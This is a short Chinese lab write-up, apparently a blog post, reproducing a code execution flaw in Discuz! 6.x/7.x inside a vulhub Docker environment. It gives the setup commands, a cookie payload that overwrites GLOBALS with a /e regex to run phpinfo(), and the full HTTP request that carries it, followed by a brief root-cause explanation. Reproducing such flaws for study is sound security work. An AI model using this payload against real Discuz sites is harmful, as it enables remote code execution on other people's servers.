wooyun-2010-080723
2019-07-30 本文已影响206人
3mi1e
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
1.漏洞影响版本
Discuz! 6.x/7.x
2.漏洞危害
代码执行
3.漏洞POC
部署虚拟机
cd /root/vulhub/discuz/wooyun-2010-080723 //进入本次复现的漏洞目录
docker-compose up -d //docker-compose搭建环境
![](https://img.haomeiwen.com/i16872314/a27c2a999878fcf6.png)
启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root。
![](https://img.haomeiwen.com/i16872314/da8de03855590206.png)
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
![](https://img.haomeiwen.com/i16872314/3052eb87c9f6deea.png)
修改COOKIE
GET /viewthread.php?tid=1&highlight= HTTP/1.1
Host: 192.168.11.146:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.11.146:8080/search.php?searchid=2&orderby=lastpost&ascdesc=desc&searchsubmit=yes
Connection: close
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
![](https://img.haomeiwen.com/i16872314/51fc41a3fc7a68cf.png)
网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。
4.复盘
漏洞出现原因
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致REQUEST中不再包含COOKIE,我们通过在Cookie中传入GLOBALS来覆盖全局变量,造成代码执行漏洞。
总结
php5.3.X
Discuz 6.X/7.X